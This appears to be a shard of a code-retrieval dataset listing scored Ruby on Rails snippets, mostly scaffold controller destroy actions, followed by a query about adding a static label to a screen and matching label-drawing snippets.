"text": "def destroy\n @hospital_readmission.destroy\n respond_to do |format|\n format.html { redirect_to hospital_readmissions_url, notice: 'Hospital readmission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cc993a4cdd9070288ed50c45d42d64a9",
"score": "0.6687889",
"text": "def destroy_rest\n @page_usage = PageUsage.find(params[:id])\n @page_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_usages_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "b79a992c2d767c61ccd6bea8d09fd666",
"score": "0.6685128",
"text": "def destroy\n @loan_access_typology.destroy\n respond_to do |format|\n format.html { redirect_to loan_access_typologies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2b3748d7cf321a55ab3ad777ad275018",
"score": "0.6684435",
"text": "def destroy\n @lop_mon_hoc = LopMonHoc.find(params[:id])\n @lop_mon_hoc.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "dde5510a3a322009ae735ca5885fbf56",
"score": "0.66831875",
"text": "def destroy\n @exhaust = Exhaust.find(params[:id])\n @exhaust.destroy\n\n respond_to do |format|\n format.html { redirect_to exhausts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e49a73f4f3dbdfebd3a14ac64e54de8e",
"score": "0.66804665",
"text": "def destroy\n @json_datum.destroy\n respond_to do |format|\n format.html { redirect_to json_data_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9ce52ea3ca38bcdbf0d46fb6a877ce93",
"score": "0.667878",
"text": "def destroy\n @hypocrite = Hypocrite.find(params[:id])\n @hypocrite.destroy\n\n respond_to do |format|\n format.html { redirect_to hypocrites_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "743610666332c85e6790063f19b94713",
"score": "0.66780645",
"text": "def destroy\n puts \"here\"\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2fa0a3656e86962ca1a10fa31aede189",
"score": "0.667613",
"text": "def destroy\n @productos_json.destroy\n respond_to do |format|\n format.html { redirect_to productos_jsons_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ce304ad21510c471d9130e2362994d28",
"score": "0.6674384",
"text": "def destroy\n @line_food = LineFood.find(params[:id])\n @line_food.destroy\n\n respond_to do |format|\n format.html { redirect_to line_foods_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0213c8f919f122e75c32860d7e121d14",
"score": "0.667225",
"text": "def destroy\n @auditory.destroy\n respond_to do |format|\n format.html { redirect_to auditories_url, notice: 'Auditory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b841f8bd5ae2e8a70ac0e4d47ce30a94",
"score": "0.6667118",
"text": "def destroy\n @side_hustle = SideHustle.find(params[:id])\n @side_hustle.destroy\n\n respond_to do |format|\n format.html { redirect_to side_hustles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "0c1f27a861274787e680a07f12750974",
"score": "0.66585106",
"text": "def destroy_rest\n @answer_list_denormalized = AnswerListDenormalized.find(params[:id])\n @answer_list_denormalized.destroy\n\n respond_to do |format|\n format.html { redirect_to(answer_list_denormalizeds_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "705a1f38ea7772407ad526da8d1834fe",
"score": "0.66552174",
"text": "def destroy\n @foodstuff.destroy\n respond_to do |format|\n format.html { redirect_to foodstuff_index_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ef00b1d6157d32d9322acd35185fa932",
"score": "0.6652366",
"text": "def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to url_contents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5b22920d931949e6c08fc758420043b8",
"score": "0.6643776",
"text": "def destroy\n @dust_bath.destroy\n respond_to do |format|\n format.html { redirect_to dust_baths_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2927cbb2a7658f0845cc04d7c30666b8",
"score": "0.6634487",
"text": "def destroy #BigCal\n @reading.destroy\n respond_to do |format|\n format.html { redirect_to readings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "bb60cb74c3d5e99a37d7c36b966cfc69",
"score": "0.66332483",
"text": "def destroy\n @yell.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1fe55f6567cd90a4789e0c7d4c6b7d5b",
"score": "0.66321766",
"text": "def destroy\n @postharvest_equipment_and_machinery_typology.destroy\n respond_to do |format|\n format.html { redirect_to postharvest_equipment_and_machinery_typologies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c19de93497881479cb324aa2107c5482",
"score": "0.6624612",
"text": "def destroy\n @underwriting.destroy\n respond_to do |format|\n format.html { redirect_to underwritings_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04db527c75c4e67c07f0716ee869cde4",
"score": "0.66207504",
"text": "def destroy\n @accessory.destroy\n respond_to do |format|\n format.html { redirect_to reserf_garrisons_url, notice: 'Accessory was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b479ac4d4771b9d3e3b8a78b5140767b",
"score": "0.66204154",
"text": "def destroy\n @exploration.destroy\n respond_to do |format|\n format.html { redirect_to explorations_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6d44296a6e130fe2a30621a1c1192297",
"score": "0.66193736",
"text": "def destroy\n @plate.destroy\n respond_to do |format|\n format.html { redirect_to plates_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "22713b9bc13bc70f873f11851843fd2d",
"score": "0.66192925",
"text": "def destroy\n @restaurent.destroy\n respond_to do |format|\n format.html { redirect_to restaurents_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cc8610d2752711fd5cca801ba4f3252a",
"score": "0.6617244",
"text": "def destroy\n @resturant = Resturant.find(params[:id])\n @resturant.destroy\n self.headers.merge!('Content-Type' => 'application/json' )\n self.response_body = {status: \"Deleted\"}\n end",
"title": ""
},
{
"docid": "07aca04c3151fd907b2bca430aacf38e",
"score": "0.6616763",
"text": "def destroy\n @mostsmallterritory = Mostsmallterritory.find(params[:id])\n @mostsmallterritory.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallterritories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f2c7ce6a6c68a08b492e1e83954ca031",
"score": "0.66164386",
"text": "def destroy\n @oil.destroy\n respond_to do |format|\n format.html { redirect_to oils_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5532844f35981351d10e8945a8f82823",
"score": "0.6616157",
"text": "def destroy\n @hit_list = HitList.find(params[:id])\n @hit_list.destroy\n\n respond_to do |format|\n format.html { redirect_to hit_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6fe759a1a20af73028aba6435b671bc2",
"score": "0.6614603",
"text": "def destroy\n @outage = Api::V1::Outage.find(params[:id])\n @outage.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_outages_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "635cbd954e57fa35d415eba2c2f5c089",
"score": "0.6612118",
"text": "def destroy\n @mission.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "8593e0c0bc846d15cb2e478a8372a562",
"score": "0.6611714",
"text": "def destroy\n @ngo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d7239805cf842f17999af40fc5ee1ee5",
"score": "0.6611587",
"text": "def destroy\n @dep001.destroy\n respond_to do |format|\n format.html { redirect_to dep001s_url, notice: 'Kitchen item was deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2b221ddfb79617126b7417cce6563da2",
"score": "0.6606975",
"text": "def destroy\n @mostsmallitemeffectinventory = Mostsmallitemeffectinventory.find(params[:id])\n @mostsmallitemeffectinventory.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallitemeffectinventories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c75fb30b1f562cff188625c565731c01",
"score": "0.66069245",
"text": "def destroy\n @line1_item.destroy\n respond_to do |format|\n format.html { redirect_to line1_items_url, notice: 'Line1 item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3b89978c102ae4a9b7a932a41f9631e3",
"score": "0.6606447",
"text": "def destroy\n @postharvest_structure_and_facility_typology.destroy\n respond_to do |format|\n format.html { redirect_to postharvest_structure_and_facility_typologies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3830fb790533c084b828b73f7d29d322",
"score": "0.6606413",
"text": "def destroy\n @recycling_way.destroy\n respond_to do |format|\n format.html { redirect_to recycling_ways_url, notice: 'Recycling way was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1018c28360a3b9d3b45a0becf8040021",
"score": "0.660356",
"text": "def destroy\n @itinerary.destroy\n respond_to do |format|\n format.html { redirect_to itineraries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1018c28360a3b9d3b45a0becf8040021",
"score": "0.660356",
"text": "def destroy\n @itinerary.destroy\n respond_to do |format|\n format.html { redirect_to itineraries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "05b58d924c712120f49f7d5fd3377b97",
"score": "0.6603302",
"text": "def destroy\n @apportionment_per_greenhouse.destroy\n respond_to do |format|\n format.html { redirect_to apportionment_per_greenhouses_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "14b6f1f92ddb7b9e9b354c96543a678e",
"score": "0.6603031",
"text": "def destroy\n @single_action.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1733f264000fc701549211c7211b3f66",
"score": "0.6602521",
"text": "def destroy\n @oid.destroy\n respond_to do |format|\n format.html { redirect_to oids_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "78f2d2e68e1e916e98974a9720483ad3",
"score": "0.66022366",
"text": "def destroy\n @needed_ingredient = NeededIngredient.find(params[:id])\n @needed_ingredient.destroy\n\n respond_to do |format|\n format.html { redirect_to home_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e0852aa3b9a86176e10a981cf36dae36",
"score": "0.6599447",
"text": "def destroy\n @food_outlet.destroy\n respond_to do |format|\n format.html { redirect_to food_outlets_url, notice: 'Food outlet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "71e903fb594e5c68848a9e835ea2e656",
"score": "0.6599345",
"text": "def destroy\n @foodstall.destroy\n respond_to do |format|\n format.html { redirect_to foodstalls_url, notice: 'Foodstall was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "40634a1503da30a10f043cfc04415161",
"score": "0.6595754",
"text": "def destroy\n @inventory = Inventory.find(params[:id])\n @inventory.destroy\n\n respond_to do |format|\n format.html { redirect_to inventories_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6055b2c7469e73dad42af436d5afa18b",
"score": "0.65937185",
"text": "def destroy\n @m_warehouse_out_a_h = MWarehouseOutAH.find(params[:id])\n @m_warehouse_out_a_h.destroy\n\n respond_to do |format|\n format.html { redirect_to m_warehouse_out_a_hs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d866a7452158e6e1f1fe85aad1c5844f",
"score": "0.65927196",
"text": "def destroy\n @riesgo = Riesgo.find(params[:id])\n @riesgo.destroy\n\n respond_to do |format|\n format.html { redirect_to riesgos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "caef785a365a227d79403972a9e2a170",
"score": "0.6592496",
"text": "def destroy\n @outro = Outro.find(params[:id])\n @outro.destroy\n\n respond_to do |format|\n format.html { redirect_to outros_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "665b2931bfc494ffd2a2755e19723b91",
"score": "0.6592392",
"text": "def destroy\n @honorary.destroy\n respond_to do |format|\n format.html { redirect_to honoraries_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5d8b826dfa36ebc907a51eb5ee066d85",
"score": "0.6592317",
"text": "def destroy\n @inpatient.destroy\n respond_to do |format|\n format.html { redirect_to inpatients_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ecff9026914aceebedc514289a9e6a56",
"score": "0.65918696",
"text": "def destroy\n @restuarant = Restuarant.find(params[:id])\n @restuarant.destroy\n\n respond_to do |format|\n format.html { redirect_to restuarants_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1087372d9005a11f4b326d3535ee99e9",
"score": "0.65918237",
"text": "def destroy\n @alcohol.destroy\n respond_to do |format|\n format.html { redirect_to alcohols_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ce470ea167d12ecdc976fa439cd2d2a8",
"score": "0.65907735",
"text": "def destroy\n @onscrit.destroy\n respond_to do |format|\n format.html { redirect_to onscrits_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7d9b07ae84a34c582bac495108948c6e",
"score": "0.65892136",
"text": "def destroy\n @ontology = Ontology.find(params[:id])\n\tFile.delete(@ontology.location)\n @ontology.destroy\n\n\n respond_to do |format|\n format.html { redirect_to ontologies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d806e6a6211d01063debfc3524d45f8f",
"score": "0.6587837",
"text": "def destroy\n @mission.destroy\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d806e6a6211d01063debfc3524d45f8f",
"score": "0.6587837",
"text": "def destroy\n @mission.destroy\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d806e6a6211d01063debfc3524d45f8f",
"score": "0.6587837",
"text": "def destroy\n @mission.destroy\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d806e6a6211d01063debfc3524d45f8f",
"score": "0.6587837",
"text": "def destroy\n @mission.destroy\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e7bbbb2b1346b58fb80e2abcfe5819e8",
"score": "0.6587049",
"text": "def destroy\n @in_demand = InDemand.find(params[:id])\n @in_demand.destroy\n\n respond_to do |format|\n format.html { redirect_to in_demands_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1d1045249d061a731cbc538b611a5ac8",
"score": "0.6586494",
"text": "def destroy\n @damage_resistance.destroy\n respond_to do |format|\n format.html { redirect_to damage_resistances_url, notice: 'Damage resistance was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8615df946e3eae3e23dd9d5db72ece78",
"score": "0.6580012",
"text": "def destroy\n @stepstone.destroy\n\n respond_to do |format|\n format.html { redirect_to adventure_path( @adventure ) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fc5423de560ff5a1a695db9af31baa5c",
"score": "0.6578884",
"text": "def destroy\n @narrative = Narrative.find(params[:id])\n @narrative.destroy\n\n respond_to do |format|\n format.html { redirect_to narratives_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f42326c808655d15108038e2d41429f8",
"score": "0.6578437",
"text": "def destroy\n @record = AssetCycleFact.find(params[:id])\n @record.trash\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6ee07fa5714cc9e1329ddcb2332909de",
"score": "0.6578408",
"text": "def destroy\n @hit_list.destroy\n respond_to do |format|\n format.html { redirect_to hit_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "feb05fa712cede2232b7a79bf0cdeb56",
"score": "0.65720236",
"text": "def delete\n render json: Entry.delete(params[\"id\"])\n end",
"title": ""
}
] |
045074da0afc7934340ffce0fdffd95f
|
Add a static label to the screen
|
[
{
"docid": "b8b60d4b3fbb75e6a1d10e3aa5bd72ea",
"score": "0.570624",
"text": "def label(text, options = {})\n opts = {\n rgb: [255, 255, 255],\n loc: [0,0]\n }.merge(options)\n\n @curr_font.draw_blended_utf8(\n @buff, \n text, \n opts[:loc][0], opts[:loc][1], \n opts[:rgb][0], opts[:rgb][1], opts[:rgb][2]\n )\n end",
"title": ""
}
] |
[
{
"docid": "0779042a20dbc9a932a26e14a7f5955e",
"score": "0.739148",
"text": "def add_a_label\n @label = UILabel.alloc.initWithFrame(CGRectZero)\n @label.text = \"Find the weather in:\"\n @label.color = BW.rgb_color(255, 255, 255)\n @label.sizeToFit\n @label.center = CGPointMake(@view_width / 2, 50)\n self.view.addSubview(@label)\n end",
"title": ""
},
{
"docid": "5b53920d34a843c20441fa17e35ea4a1",
"score": "0.68698525",
"text": "def add_label(name, label_text, options = {})\n add_widget Tk::Tile::Label, name, label_text, options\n end",
"title": ""
},
{
"docid": "859d3eacf2ded6ba82b6a8d3d0c9b0de",
"score": "0.6822698",
"text": "def add_label(coords)\n add_post_command(coords)\n end",
"title": ""
},
{
"docid": "59f27c9ed35d277d0bc3a41879c78935",
"score": "0.6706009",
"text": "def set_label label\n # added case for user just using a string\n case label\n when String\n # what if no form at this point\n @label_unattached = true unless @form\n label = Label.new @form, {:text => label}\n end\n @label = label\n # in the case of app it won't be set yet FIXME\n # So app sets label to 0 and t his won't trigger\n # can this be delayed to when paint happens XXX\n if @row\n position_label\n else\n @label_unplaced = true\n end\n label\n end",
"title": ""
},
{
"docid": "363b32a07b24e9b44d44e4a12a5e79e5",
"score": "0.6663294",
"text": "def set_label_text(lbl_key, text, info, font_type = :big_font )\r\n if @labels_to_disp[lbl_key] == nil\r\n font = font_type == :big_font ? @font_text_big : @font_text_small\r\n @labels_to_disp[lbl_key] = LabelGfx.new(0,0, \"\", font, @color_text_label, false)\r\n end\r\n \r\n @labels_to_disp[lbl_key].text = text\r\n @labels_to_disp[lbl_key].visible = true\r\n @labels_to_disp[lbl_key].info_tag = info\r\n end",
"title": ""
},
{
"docid": "83f9d972c7eda8c5071c1f0a6a90f9de",
"score": "0.66578215",
"text": "def titleLabel(unLabel)\n label = Gtk::Label.new()\n label.set_markup(\"<span size='25000' >\" + unLabel.to_s + \"</span>\")\n return label\n end",
"title": ""
},
{
"docid": "83f9d972c7eda8c5071c1f0a6a90f9de",
"score": "0.66578215",
"text": "def titleLabel(unLabel)\n label = Gtk::Label.new()\n label.set_markup(\"<span size='25000' >\" + unLabel.to_s + \"</span>\")\n return label\n end",
"title": ""
},
{
"docid": "83f9d972c7eda8c5071c1f0a6a90f9de",
"score": "0.66578215",
"text": "def titleLabel(unLabel)\n label = Gtk::Label.new()\n label.set_markup(\"<span size='25000' >\" + unLabel.to_s + \"</span>\")\n return label\n end",
"title": ""
},
{
"docid": "d1c7515dd2d4fdef2d942dd090d3406e",
"score": "0.6593965",
"text": "def set_label(text)\n @main_label.set_text(text)\n if text\n @main_label.set_hidden(false)\n else\n @main_label.set_hidden(true)\n end\n end",
"title": ""
},
{
"docid": "6346feb0828021284d88340d79dba895",
"score": "0.65186936",
"text": "def initial_board_text\r\n @lbl_table_title.text = \"Gioco selezionato: \"\r\n end",
"title": ""
},
{
"docid": "a5001fcf799e8df40bb4a21b6bd5c67d",
"score": "0.6512826",
"text": "def add_loading_label\n frame = CGRectMake(0, 0, self.frame.size.width, @top_view_height * self.frame.size.height)\n\n @info_label = UILabel.alloc.initWithFrame(frame)\n @info_label.text = 'Bitte warten, unser Shop wird gerade geladen...'\n @info_label.textColor = UIColor.blackColor\n device.ipad? ? @info_label.font = rmq.font.pad_large : @info_label.font = rmq.font.phone_large\n @info_label.textAlignment = UITextAlignmentCenter\n\n self.addSubview(@info_label)\n end",
"title": ""
},
{
"docid": "ea39d4da2a4b28e89eceda8750029a02",
"score": "0.6507983",
"text": "def add_label label\n @labels[label] = true\n\n label\nend",
"title": ""
},
{
"docid": "2b443a8c376e6a757b142a4175432fe6",
"score": "0.65010375",
"text": "def label\n label = \"#{number}: #{name}\"\n end",
"title": ""
},
{
"docid": "5d099ea2646bf246924be64672b0cae8",
"score": "0.644253",
"text": "def quick_label(how, what)\n QuickLabel.new(self, how, what, parent_widget, window_id, :label)\n end",
"title": ""
},
{
"docid": "d91fde15d80037b72fee150cef7a8bec",
"score": "0.63763916",
"text": "def placeJourneyLabel(journeyDisplay, disposition, context)\n # Place this at the bottom of the screen\n label = journeyDisplay.route.name\n end",
"title": ""
},
{
"docid": "3564ab59fabf9512aef26a00c6e731cd",
"score": "0.6370791",
"text": "def title(label)\n \n \"#{label}\\n\"\n \n end",
"title": ""
},
{
"docid": "3564ab59fabf9512aef26a00c6e731cd",
"score": "0.6370791",
"text": "def title(label)\n \n \"#{label}\\n\"\n \n end",
"title": ""
},
{
"docid": "655c2de18047bc532305a488062e014f",
"score": "0.6368402",
"text": "def show_label(t)\n t(t) + ':'\n end",
"title": ""
},
{
"docid": "a3c164a6abbd097f8d583e63f1c6b572",
"score": "0.6363446",
"text": "def scaffold_label(id, text)\n \"<label for='#{id}'>#{h text}</label>\"\n end",
"title": ""
},
{
"docid": "540a1f58457cdeb95033cec1701cd49d",
"score": "0.63586485",
"text": "def addLabelledWidget(labelText, field, row)\n label = Gtk::Label.new(labelText)\n @grid.attach(label, 0, 1, row, row + 1)\n @grid.attach(field, 1, 2, row, row + 1)\n end",
"title": ""
},
{
"docid": "ec86c7c037b69cd5e1f1e64b8cd72e9e",
"score": "0.6336975",
"text": "def createLabel\n @labelField = NSTextField.alloc.initWithFrame(LABEL_FRAME).tap do |obj|\n obj.autoresizingMask = NSViewWidthSizable | NSViewMinYMargin\n obj.bordered = false\n obj.drawsBackground = false\n obj.font = NSFont.boldSystemFontOfSize(12) # systemFontOfSize 13\n obj.editable = false\n obj.selectable = true\n obj.alignment = NSNaturalTextAlignment\n end\n end",
"title": ""
},
{
"docid": "9e4289dc684bffcf35e6a38e7bff3949",
"score": "0.633378",
"text": "def add_label(label, number)\n label 'add', label, number\n end",
"title": ""
},
{
"docid": "dbde23d43642ec456ad36cde4f7a90d7",
"score": "0.6319188",
"text": "def render_label\n @render_label ||= StrikeThroughText.alloc.initWithFrame(CGRectNull).tap do |render_label|\n render_label.textColor = UIColor.whiteColor\n render_label.font = UIFont.boldSystemFontOfSize(16)\n render_label.backgroundColor = UIColor.clearColor\n end\n end",
"title": ""
},
{
"docid": "c138b669878226a52f31e402924ca18f",
"score": "0.6300783",
"text": "def textLabel\n @textLabel ||= begin\n _textLabel = UILabel.alloc.initWithFrame([[10, 300], [300, 84]])\n _textLabel.text = DEFAULT_TEXT\n _textLabel.textAlignment = UITextAlignmentCenter\n _textLabel.textColor = UIColor.whiteColor\n _textLabel.font = UIFont.fontWithName(\"DIN-Medium\", size:15)\n _textLabel.backgroundColor = UIColor.blackColor.colorWithAlphaComponent(0.7)\n _textLabel.numberOfLines = 5\n layer = _textLabel.layer\n layer.cornerRadius = 5.0\n _textLabel\n end\n end",
"title": ""
},
{
"docid": "49ff0b5f8f53539353ea8c5be1520989",
"score": "0.6266527",
"text": "def xlabel(label)\n text(@panel[:width]/2, @panel[:height] - 20, label, \n { text_anchor: \"middle\" })\n end",
"title": ""
},
{
"docid": "2fa03999945ea7a070ed568c6093daac",
"score": "0.6251427",
"text": "def label\n \"\"\n end",
"title": ""
},
{
"docid": "2f38b5006fe8ce854fb81dd55437f56d",
"score": "0.6230746",
"text": "def display_track(title)\n \t@track_font.draw(title, Xposition, Yposition, ZOrder::UI, 1.0, 1.0, Gosu::Color::BLACK)\n end",
"title": ""
},
{
"docid": "98e4ef18476174a2bbae731a58446a65",
"score": "0.6224508",
"text": "def label(x, y, text, attributes = nil)\n %[<text font-size=\"#{FONT_SIZE}\" font-family=\"Verdana\" fill=\"#333333\" text-anchor=\"middle\" x=\"#{x}\" y=\"#{y + FONT_SIZE / 2}\"#{' ' + attributes if attributes}>#{text}</text>\\n]\n end",
"title": ""
},
{
"docid": "c8e4d082954b682a3e94dfec3144a580",
"score": "0.62064767",
"text": "def l(text=\"\", name=\"\")\n JLabel.new(text) #.tap{|jl| jl.name = name }\n end",
"title": ""
},
{
"docid": "804f3ae2712ab0117a5f704d6fb7a675",
"score": "0.62034404",
"text": "def label\n end",
"title": ""
},
{
"docid": "6e9ced9bf6b034452bbb32f9e67f14db",
"score": "0.6187118",
"text": "def change_label_text_to(name)\n @label.text = name\n end",
"title": ""
},
{
"docid": "e4fe0ebbce28757b62d5fd6860759079",
"score": "0.6182208",
"text": "def label\r\n\t\t''\r\n\tend",
"title": ""
},
{
"docid": "1ceff5b6d0defc6dd5cc87db23006076",
"score": "0.61725694",
"text": "def label\n full_title\n end",
"title": ""
},
{
"docid": "126c3ba37a85440afa66c0bce2652a6d",
"score": "0.6170548",
"text": "def entry_label(page, context)\n icon = @_options[:icon] ? '<span></span>' : ''\n title = @_options[:liquid_render] ? @_options[:liquid_render].render({ 'page' => page }, registers: context.registers) : page.title\n\n if icon.blank?\n title\n elsif @_options[:icon] == 'after'\n \"#{title} #{icon}\"\n else\n \"#{icon} #{title}\"\n end\n end",
"title": ""
},
{
"docid": "500a82358abce15fb4b9b9fa5efbffb8",
"score": "0.61123574",
"text": "def add_label\n self.rdfs_label = name if name.present?\n self.rdfs_label += \" (id: #{identifier.join})\" if identifier.present?\n add_preflabel\n end",
"title": ""
},
{
"docid": "fcb0d5f2f414ae06e26b77f3f32b4819",
"score": "0.61003155",
"text": "def create_texts\n self.title = I18n.t(:tictactoe)\n @new_btn.label = I18n.t(:new_game)\n @quit_btn.label = I18n.t(:quit)\n @default_size_btn.label = I18n.t(:default_size)\n end",
"title": ""
},
{
"docid": "2e7671911157a38ecbbfa9ea5e2fac78",
"score": "0.6050763",
"text": "def display_splash_text\n splash = Artii::Base.new :font => 'slant'\n puts splash.asciify('Country Trivia').blue\n splash\n end",
"title": ""
},
{
"docid": "497f960e821f0720cfb27ef56e963a4c",
"score": "0.60496414",
"text": "def setLable string\n @lable = Gosu::Image.from_text string,20\n end",
"title": ""
},
{
"docid": "6e351060a930f74b84070b4b52e9cbf3",
"score": "0.6049608",
"text": "def show_username(str_name)\r\n self.title = \"#{APP_CUPERATIVA_NAME} - Utente: #{str_name}\" \r\n #@lbl_username.text = \"#{@comment_init} - Utente: #{str_name}\" \r\n end",
"title": ""
},
{
"docid": "1662c01671b70396bd3bd902c24aa225",
"score": "0.60272765",
"text": "def add_label\n self.rdfs_label = name if name.present?\n add_preflabel\n end",
"title": ""
},
{
"docid": "f6bd30f3b9191b6ad4729e53e3cb31a2",
"score": "0.6018902",
"text": "def title(label)\n \n \"<h1>#{label}</h1>\"\n \n end",
"title": ""
},
{
"docid": "6c4d3156d4eac0a0c5c86d30a187ab05",
"score": "0.60154146",
"text": "def create_class_text\n @class_text = @stack.add_text(0, 0, 320, 16, 'TEST', color: 9)\n @last_scene = nil\n end",
"title": ""
},
{
"docid": "17849e8e493df28f191c349e3efae1a7",
"score": "0.601289",
"text": "def label label = nil\n @label = label if label\n @label\n end",
"title": ""
},
{
"docid": "7d54ff78b82b048cb27d540b8daaa54e",
"score": "0.60121995",
"text": "def label\n @label || \"unknown\"\n end",
"title": ""
},
{
"docid": "f345ea8b4d86dec4ce6e8e3d4a8a4695",
"score": "0.6008307",
"text": "def label\n \"#{@name} (#{@id})\"\n end",
"title": ""
},
{
"docid": "4693c8dd63b641cab401bef069e5e7a5",
"score": "0.595884",
"text": "def updateLabel(newLabel)\n @gtkLabels.label=newLabel\n end",
"title": ""
},
{
"docid": "a746c40318c913271df9b56900cb8bf1",
"score": "0.5953112",
"text": "def custom_label\n \"#{self.name}\"\n end",
"title": ""
},
{
"docid": "ca17eb11d0e93e15ced651223e4f6a21",
"score": "0.5952339",
"text": "def create_name_text\n Text.new(0, @name_window, 0, -Text::Util::FOY, 0, default_line_height, '')\n end",
"title": ""
},
{
"docid": "410da23c21afa622fd98cad6ba80752f",
"score": "0.59479743",
"text": "def s_label; det.link(:text, 'Label'); end",
"title": ""
},
{
"docid": "a76628cf7cdc252d6593eb5a837f18e0",
"score": "0.5947208",
"text": "def mylabel args, x, row, message\r\n [x, row_to_px(args, row), message, font]\r\nend",
"title": ""
},
{
"docid": "8faebab00b0efd14c670f7ac39c6eedd",
"score": "0.59453166",
"text": "def label(text, options = {})\n Label.new(text, {parent: self}.merge!(options))\n end",
"title": ""
},
{
"docid": "0bcab5e0a562378aa50bf06a92f1a911",
"score": "0.5933692",
"text": "def custom_label\n \"#{self.name}\"\n end",
"title": ""
},
{
"docid": "5cc89590529ff8b0d3fe8ff655ab6878",
"score": "0.59184223",
"text": "def label(label = nil)\n @label = label if label\n @label\n end",
"title": ""
},
{
"docid": "2aa0af5bc27b35c51167390a1f4f7264",
"score": "0.59065205",
"text": "def label\n raise \"Label provider key :label must be set to produce the text of the message!\" unless @data[:label]\n @data[:label]\n end",
"title": ""
},
{
"docid": "35862a9784e153c7d569b7aa6551f8ce",
"score": "0.5899019",
"text": "def emit_label\n return '' if @options[:no_label]\n title = @anno[:title] || @options[:label] || @anno[:name].to_s.humanize\n %{<label for=\"#{control_id}\">#{title}</label>}\n end",
"title": ""
},
{
"docid": "eff667e14bc5287e692d191a65850b06",
"score": "0.58966106",
